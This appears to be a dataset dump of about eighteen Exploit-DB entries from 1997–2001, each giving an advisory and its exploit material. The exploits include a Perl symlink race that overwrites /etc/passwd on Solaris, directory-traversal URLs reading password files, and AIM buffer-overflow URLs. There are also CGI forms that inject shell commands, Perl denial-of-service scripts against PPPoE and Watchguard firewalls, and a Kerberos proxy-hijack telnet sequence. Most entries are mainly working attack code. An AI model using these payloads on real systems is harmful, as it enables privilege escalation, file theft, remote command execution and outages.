QLWD/code_shield huggingface dataset:
标题: Solaris 2.5.1/2.6/7.0/8 - patchadd Race Condition EDB-ID: 20514 CVE: 2001-0059 类型: LOCAL 平台: SOLARIS 发布日期: 2000-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2127/info

patchadd is the patch management tool included with the Solaris Operating Environment, distributed by Sun Microsystems. A problem exists which could allow a user to corrupt or append system files.

The problem exists in the creation of /tmp files by patchadd. patchadd creates a variety of files in /tmp while installing the patches on the operating system. The files created in /tmp are mode 0666, and are created with the extension sh<pid of patchadd>.1, sh<pid of patchadd>.2, and so on. Running the program requires administrative access. It is possible to brute force guess the pid of patchadd, and create files in the /tmp directory that are symbolic links to sensitive system files.

It is therefore possible for a user with malicious intent to gain elevated privileges, corrupt system files, or execute arbitrary commands.

#!/usr/local/bin/perl
#Exploit for patchadd Solaris 2.x. Symlink /tmp file creation
#vulnerability
#patchadd creates files in /tmp with mode 644 that can be used to clobber
#system files when executed by root.
#Larry W. Cashdollar
#http://vapid.dhs.org:8080
#See BID https://www.securityfocus.com/bid/2127
#Discovery credit: Jonathan Fortin jfortin@revelex.com
#Tested on SunOS smackdown 5.8 Generic_108528-10 sun4u sparc SUNW,Ultra-5_10

use strict;

my $NOISY = 1; # Do you want quiet output?
my $clobber = "/etc/passwd";

print "Listening for patchadd process...\n" if ($NOISY);

while(1) {
  open (ps,"ps -ef | grep -v grep |grep -v PID |");

 while(<ps>) {
   my @args = (split " ", $_);

     if (/patch/) {
        print "Targeting PID $args[1] and symlinking response.$args[1] to
$clobber\n" if ($NOISY);
        symlink($clobber,"/tmp/response.$args[1]");
        exit(1);
      }
 }

} URL: https://www.exploit-db.com/exploits/20514
标题: iCat Electronic Commerce Suite 3.0 - File Disclosure EDB-ID: 20513 CVE: 1999-1069 类型: REMOTE 平台: MULTIPLE 发布日期: 1997-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/2126/info

iCat Electronic Commerce Suite is an application which enables a user to create and manage web based catalogues.

A remote user may retrieve known files on a target system running iCat Electronic Commerce Suite. The Carbo Server component of the Electronic Commerce Suite does not properly validate HTTP requests for files and will grant access to any object residing on the system. For example, the following HTTP request will display the file specified:

http://target/carbo.dll?icatcommand=..\..\directory/filename.ext&catalogname=catalog

Successful exploitation of this vulnerability may disclose sensitive information such as usernames and passwords and aid in the development of further attacks. 

http://target/carbo.dll?icatcommand=..\..\directory/filename.ext&catalogname=catalog URL: https://www.exploit-db.com/exploits/20513
标题: AOL Instant Messenger 4.0/4.1.2010/4.2.1193 - BuddyIcon Buffer Overflow EDB-ID: 20511 CVE: 2000-1094 类型: REMOTE 平台: WINDOWS 发布日期: 2000-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2122/info

AOL Instant Messenger (AIM) is a real time messaging service for users that are on line. When AOL Instant Messenger is installed, by default it configures the system so that the aim: URL protocol connects aim:// urls to the AIM client. There exists a buffer overflow in parsing aim:// URL parameters.

The buffer overflow has to do with the parsing of parameters associated with the "buddyicon" option. The stack overflow will occur If the "Source" parameter, which arguments the buddyicon option, is more than 3000 characters in length. It may be possible to execute arbitrary code. Since this vulnerability manifests itself in an URL, a user needs only to click on the URL (which can be embedded in email, webpages, chatrooms, etc) for the flaw to be exploited.

It should be noted that the victim need only have AIM installed on their machine to be vulnerable. Even if AIM is not running, if a user clicks or otherwise activates a malicious aim:// url, the overflow will occur. Additionally it should be noted that AIM is often included/bundled with Netscape Communicator and possibly other popular software programs.

Successful exploitation of this vulnerability will lead to complete comprimise of the target host. 

aim:buddyicon?screenname=abob&groupname=asdf&Src=http://localhost/AAA... URL: https://www.exploit-db.com/exploits/20511
标题: Leif M. Wright - 'ad.cgi' 1.0 Unchecked Input EDB-ID: 20504 CVE: 2001-0025 类型: REMOTE 平台: CGI 发布日期: 2000-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/2103/info

ad.cgi is an ad rotation script freely available, and written by Leif Wright. A problem exists in the script which may allow access to restricted resources.

The problem occurs in the method in which the script checks input. Due to insufficent validation of input, the script allows a user to execute programs on the local system by making use of the FORM method. This makes it possible for a malicious users to remotely execute commands on the system with the priviledges inherited by the HTTPD process. 

<html>
<form action="http://www.conservatives.net/someplace/ad.cgi" method=POST>
<h1>ad.cgi exploit</h1>
Command: <input type=text name=file value="../../../../../../../../bin/ping -c 5 www.foo.com|">
<input type=submit value=run>
</form>
</html> URL: https://www.exploit-db.com/exploits/20504
标题: BEA Systems WebLogic Server 4.0 x/4.5 x/5.1 x - Double Dot Buffer Overflow EDB-ID: 20516 CVE: 2001-0098 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/2138/info


BEA Systems WebLogic Server is an enterprise level web and wireless application server.

Unchecked buffers exist in a particular handler for URL requests that begin with two dots "..". Depending on the data entered into the buffer, WebLogic Server could be forced to crash or arbitrary code could be executed on the system in the security context of the web server. In the event that random data was sent in order to crash the server, restarting the application would be required in order to regain normal functionality. 

..<overly long string of characters> URL: https://www.exploit-db.com/exploits/20516
标题: Microsoft NT 4.0 RAS/PPTP - Malformed Control Packet Denial of Service EDB-ID: 20508 CVE: 1999-0140 类型: DOS 平台: WINDOWS 发布日期: 1999-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2111/info

Quoted from a Microsoft FAQ, "Point-to-Point-Tunneling Protocol (PPTP) is a new networking technology that supports multiprotocol virtual private networks (VPN), enabling remote users to access corporate networks securely across the Microsoft Windows NT Workstation, Windows 95, and Windows 98 operating systems and other point-to-point protocol (PPP)-enabled systems to dial into a local Internet service provider to connect securely to their corporate network through the Internet." On Microsoft Windows NT 4.0 up to and including Service Pack 4 running this service a denial of service is possible. This is accomplished by connecting to port 1723 (the PPTP/VPN service's port) and sending garbage (~256 characters) followed by control-d. This causes the target machine to reboot. 

1) telnet targetmachine 1723
2) hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhh (256 characters)
3) ctrl-d URL: https://www.exploit-db.com/exploits/20508
标题: AOL Instant Messenger 3.5.1856/4.0/4.1.2010/4.2.1193 - 'aim://' Remote Buffer Overflow EDB-ID: 20510 CVE: 2000-1093 类型: REMOTE 平台: WINDOWS 发布日期: 2000-12-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2118/info

AOL Instant Messenger (AIM) is a real time messaging service for users that are on line. When AOL Instant Messenger is installed, by default it configures the system so that the aim: URL protocol connects aim:// urls to the AIM client. There exists a buffer overflow in parsing aim:// URL parameters.

This vulnerability exists in versions of AOL Instant previous to Messenger 4.3.2229. By sending a specially crafted URL ,using the 'aim:' protocol, comprised of 'goim' and 'screenname' parameters, it is possible for a remote user to overflow the buffer during a memory copy operation and execute arbitarary code.

It should be noted that the victim need only have AIM installed on their machine to be vulnerable. Even if AIM is not running, if a user clicks or otherwise activates a malicious aim:// url, the overflow will occur. Additionally it should be noted that AIM is often included/bundled with Netscape Communicator and possibly other popular software programs.

Successful exploitation of this vulnerability will lead to complete comprimise of the target host. 

href="aim:goim? screenname=AAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA&message=EIP,+the+other+white+meat" >here</a><br> URL: https://www.exploit-db.com/exploits/20510
标题: BSD ftpd 0.3.2 - Single Byte Buffer Overflow EDB-ID: 20512 CVE: 2001-0053 类型: REMOTE 平台: UNIX 发布日期: 2000-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2124/info

The ftp daemon derived from 4.x BSD source contains a serious vulnerability that may compromise root access.

There exists a one byte overflow in the replydirname() function. The overflow condition is due to an off-by-one bug that allows an attacker to write a null byte beyond the boundaries of a local buffer and over the lowest byte of the saved base pointer.

As a result, the numerical value of the pointer decreases (and it thus points to a higher location (or lower address) on the stack than it should) and when the replydirname() function returns, the modified saved base pointer is stored in the base pointer register. When the calling function returns, the return address is read from an offset of where the base pointer points to. With the last byte of the base pointer zero, this will be a location other than where it should be.

If this region of the stack is under the control of the attacker, such as the local variable which contained the extra byte in the first place, an arbitrary address can be placed there that will be used as the saved return address by the function.

This is the case in ftpd. It is possible for an attacker to force the ftp daemon to look in user-supplied data for a return address and then execute instructions at the location as root.

This vulnerability can be exploited on systems supporting anonymous ftp if a writeable directory exists (such as an "incoming" directory). This is rarely in place by default.

It should noted that OpenBSD ships with ftp disabled, though it is an extremely commonly used service. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20512.tar.gz URL: https://www.exploit-db.com/exploits/20512
标题: Leif M. Wright simplestguest.cgi 2.0 - Remote Command Execution EDB-ID: 20506 CVE: 2001-0022 类型: REMOTE 平台: CGI 发布日期: 2000-12-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/2106/info

A vulnerabiliy exists in Leif M. Wright's simplestguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

An insecure call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privileges of the webserver. 

Make a html form similar to:

<form action=/cgi-bin/simplestguest.cgi method=POST>
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â <input type=hidden name=required value="NAME">
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â <input type=hidden name=guestbook
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â value=" | <COMMAND> |">
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â <input type=hidden name="NAME" value="user">
Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â <input type=submit>
</form> URL: https://www.exploit-db.com/exploits/20506
标题: Leif M. Wright simplestmail.cgi 1.0 - Remote Command Execution EDB-ID: 20503 CVE: 2001-0024 类型: REMOTE 平台: CGI 发布日期: 2000-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/2102/info

A vulnerabiliy exists in Leif M. Wright's simplestmail.cgi, a script designed to coordinate email responses from web forms.

An insecurely-structured call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privilege of the webserver. 

<html>
<form action="http://someplace/cgi-bin/simplestmail.cgi" method=POST>
Command: <input type=text name=MyEmail value=";">
<input type=hidden name=redirect value="http://goatse.cx">
<input type=submit name=submit value="run">
</form>
</html> URL: https://www.exploit-db.com/exploits/20503
标题: alex heiphetz Group eZshopper 2.0/3.0 - Directory Traversal EDB-ID: 20507 CVE: 2000-1092 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/2109/info

It is possible for a remote user to gain read access to various files that reside within the EZShopper directory. By requesting a specially crafted URL utilizing loadpage.cgi' application with a '/' appended, EZShopper will disclose the contents within the EZShopper directory. As a result, it is possible for an attacker to navigate into its subdirectories and view any file.

It is also reported that this same CGI application allows directory traversal sequences to be utilized to retrieve the contents of arbitrary Web server accessible files.

Successful exploitation of this vulnerability could lead to the disclosure of sensitive information and possibly assist in further attacks against the victim. 

EZshopper v3.0:
http://www.example.com/cgi-bin/ezshopper3/loadpage.cgi?user_id=id&file=/

EZshopper v2.0:
http://www.example.com/cgi-bin/ezshopper2/loadpage.cgi?id+/

Zero X <Zero_X@excluded.org> provided the following example:
http://www.example.com/cgi-bin/loadpage.cgi?user_id=id&file=.|./.|./.|./.|./.|./etc/passwd%00.html URL: https://www.exploit-db.com/exploits/20507
标题: ssldump 0.9 b1 - Format String EDB-ID: 20492 CVE: 2001-0032 类型: REMOTE 平台: UNIX 发布日期: 2000-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/2096/info

ssldump is a traffic analyzer for monitoring network traffic in real time. It is written and maintained by Eric Rescorla. A problem exists which could allow the arbitrary execution of code.

The problem exists in the ssldump handling of format strings. ssldump requires elevated privileges to listen to traffic crossing the network interface. While monitoring traffic, the encounter of format strings in a URL will cause the program to segmentation fault. Potentially, this could lead to the overwriting of stack variables and arbitrary execution of code with administrative access, if exploited by a malicious user. 

1) Run SSLDUMP (needs you to be root unless setuid)

2)Open Up Netscape Navigator it)

3) Type the following in Netscape Navigator: fixme:%s%s%s%s%s%s

4) watch as ssldump with gather the traffic then segfault.. URL: https://www.exploit-db.com/exploits/20492
标题: keware technologies homeseer 1.4 - Directory Traversal EDB-ID: 20489 CVE: 2001-0037 类型: REMOTE 平台: WINDOWS 发布日期: 2000-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2085/info

Keware Technologies HomeSeer is a home automation application which enables users to control various housewares and appliances locally or remotely via a web interface.

It is possible for a remote user to gain access to any known file outside of the HomeSeer directory on the root directory. A specially crafted HTTP request comprised of '../' and the known filename, will display the contents of the particular file with read permissions.

Successful exploitation of this vulnerability could enable a remote user to gain access to systems files, password files, etc. This could lead to a complete compromise of the host. 

http://target/../../../filename.ext URL: https://www.exploit-db.com/exploits/20489
标题: RedHat Linux 7.0 - Roaring Penguin PPPoE Denial of Service EDB-ID: 20494 CVE: 2001-0026 类型: DOS 平台: LINUX 发布日期: 2000-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/2098/info

Roaring Penguin Software's PPPoE is a freeware PPP over Ethernet client often used by ADSL subscribers running Linux or NetBSD.

PPPoE contains a possibly remotely exploitable denial of service vulnerability in its handling of TCP packets when the Clamp_MSS option is used. If PPPoE recieves a malformed TCP packet with a "zero-length option", PPPoE will go into an infinite loop. As a result, the ppp connection being supported by PPPoE will time out and be terminated. A manual re-start is needed to regain functionality.

This bug has been fixed by Roaring Penguin Software in a new version, see the solutions section. 

#!/usr/bin/perl
# POC script that causes a DoS in an PPP-over-Ethernet Link, in RedHat 7.0.
# Advisory: http://www.redhat.com/support/errata/RHSA-2000-130.html
# by dethy
use Net::RawIP;
use Getopt::Std;
getopts('d:s:p:c',\%args) || &usage;
if(defined($args{d})){$daddr=$args{d};}else{&usage;}
if(defined($args{s})){$src=$args{s};}else{$src=&randsrc;}
if(defined($port{p})){$port=$args{p};}else{&usage;}
if(defined($args{c})){$count=$args{c};}else{$count=10;}

sub randport(){
 srand;
 return $sport=(int rand 65510); 
 }

sub randsrc(){
  srand; 
  return $saddr=(int rand 255).".".(int rand 255).".".(int rand 255).".".(int rand 255); 
 }

 $packet = new Net::RawIP({ip=>{},tcp=>{}});
 $packet->set({ ip => { saddr => $src, 
   daddr => $daddr, 
   tos => 3 },
               tcp => { source => $sport, 
   dest => $port,
                        syn => 1, psh => 1 } });

 $packet->send(0,$count);

sub usage(){ die("pppoe-link POC DoS on RH7\n$0 -d <dest> -s <source> -p <port> -c <count>\n"); } URL: https://www.exploit-db.com/exploits/20494
标题: Watchguard SOHO 2.2 - Denial of Service EDB-ID: 20487 CVE: 2001-0049 类型: DOS 平台: HARDWARE 发布日期: 2000-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/2082/info

The SOHO 2.2 is a popular SOHO firewall by Watchguard Technologies Inc.

A vulnerability exists in Watchguard SOHO 2.2 firewalls with firmware versions 2.2.1 and below that could allow a remote attacker to execute a Denial of Service attack on the firewall and render it in-operable.

It is possible for a remote attacker to issue large amounts of GET requests (70+) to the firewall which will in turn deplete memory resources on the firewall and either cause it to reboot or shutdown completely. In the case of a reboot, the firewall will be in-operable for one to five minutes. If the firewall shuts down completely, it will require a power recycle. In the case of a sustained attack, the firewall can be permanently taken off-line. It should be noted that this attack does not appear in the firewall logs except for a reboot notification. 

#!/usr/bin/perl
#
# You can also connect to the Watchguard SOHO through your
# browser and press F5 like a maniac on speed to get the
# firewall crashing. So, either you run the .pl script or
# you fire up your webbrowser... Either way, it works.
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
# (c)Proof of concept, vorlon <filip@securax.be>
# ----------------------------------------------------------
use IO::Socket;

$host = "your_watchguard_ip";
$port = "your_port";
$repeat = "100";
$request = "GET / HTTP/1.0";

print "Watchguard SOHO Denial of Service, connecting to $host:$port...\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) ||
die "Failed.\n";

$counter = 0;
print "Repeating request for $repeat times.\n";
while($counter < $repeat) {
print $socket "$request\n";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
PeerPort=>$port) || die "\nThe Watchguard SOHO has crashed. BEEFCAKE!...\n";
print ".";
$counter += 1;
}
print "\nDone.\n\n";

close($socket); URL: https://www.exploit-db.com/exploits/20487
标题: KTH Kerberos 4 - Arbitrary Proxy Usage EDB-ID: 20491 CVE: 2001-0034 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-12-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/2090/info

Kerberos is a widely used network service authentication system. The version of Kerberos developed and maintained by KTH (Swedish Royal Institute of Technology) contains a vulnerability that may allow/assist in a local or remote root compromise.

KTH Kerberos uses an environment variable called 'krb4_proxy' when a proxy server is required to retrieve tickets via HTTP. KTH Kerberos-supported services will contact the supplied proxy server (the value of krb4_proxy) instead of the default Kerberos server if this variable is set.

It is possible for malicious remote users (before authenticating) to remotely set the value of this variable and have the server program contact a fake Kerberos server. This would allow the attacker to intercept authentication requests and/or send false replies to the service they are attempting to use. An attacker, for example, could send the environment variable via telnet to a Kerberos supporting telnet daemon.

This attack allows malicious users in control of a fake Kerberos server to exploit a buffer overflow vulnerability (See Bugtraq ID 2091) in the Kerberos shared libraries with malformed replies. If exploited, the combined vulnerabilities may provide remote root access to attackers. 

telnet> environ define krb4_proxy http://your.host:80
telnet> environ export krb4_proxy
telnet> open localhost URL: https://www.exploit-db.com/exploits/20491
标题: MetaProducts Offline Explorer 1.x - FileSystem Disclosure EDB-ID: 20488 CVE: 2001-0038 类型: REMOTE 平台: WINDOWS 发布日期: 2000-12-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2084/info

MetaProducts Offline Explorer is an application that allows a user to download the contents of a website or FTP site for offline browsing at a later time.

It is possible to view the full contents of the directory structure of a system Offline Explorer resides on. By default, Offline Explorer listens on port 800. A remote user may retrieve a directory listing and browse its contents without any authorization whatsoever by issuing a GET request followed by a corresponding physical or logical drive letter.

Eg.

http://target:800/C:/
will reveal a directory listing for drive C. URL: https://www.exploit-db.com/exploits/20488
标题: Leif M. Wright everythingform.cgi 2.0 - Arbitrary Command Execution EDB-ID: 20497 CVE: 2001-0023 类型: REMOTE 平台: CGI 发布日期: 2000-12-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/2101/info

An input validation vulnerability exists in Leif M. Wright's everything.cgi, a Perl-based form design tool.

The script fails to properly filter shell commands from user-supplied input to the 'config' field.

As a result, the script can be made to run arbitrary shell commands with the privilege of the web server.

<form action="http://www.conservatives.net/someplace/everythingform.cgi"
method=POST>
<h1>everythingform.cgi exploit</h1>
Command: <input type=text name=config value="../../../../../../../../bin/ping
-c 5 www.foobar.com|">
<input type=hidden name=Name value="expletive deleted">
<input type=hidden name="e-mail" value="foo@bar.net">
<input type=hidden name=FavoriteColor value=Black>
<input type=submit value=run>
</form> URL: https://www.exploit-db.com/exploits/20497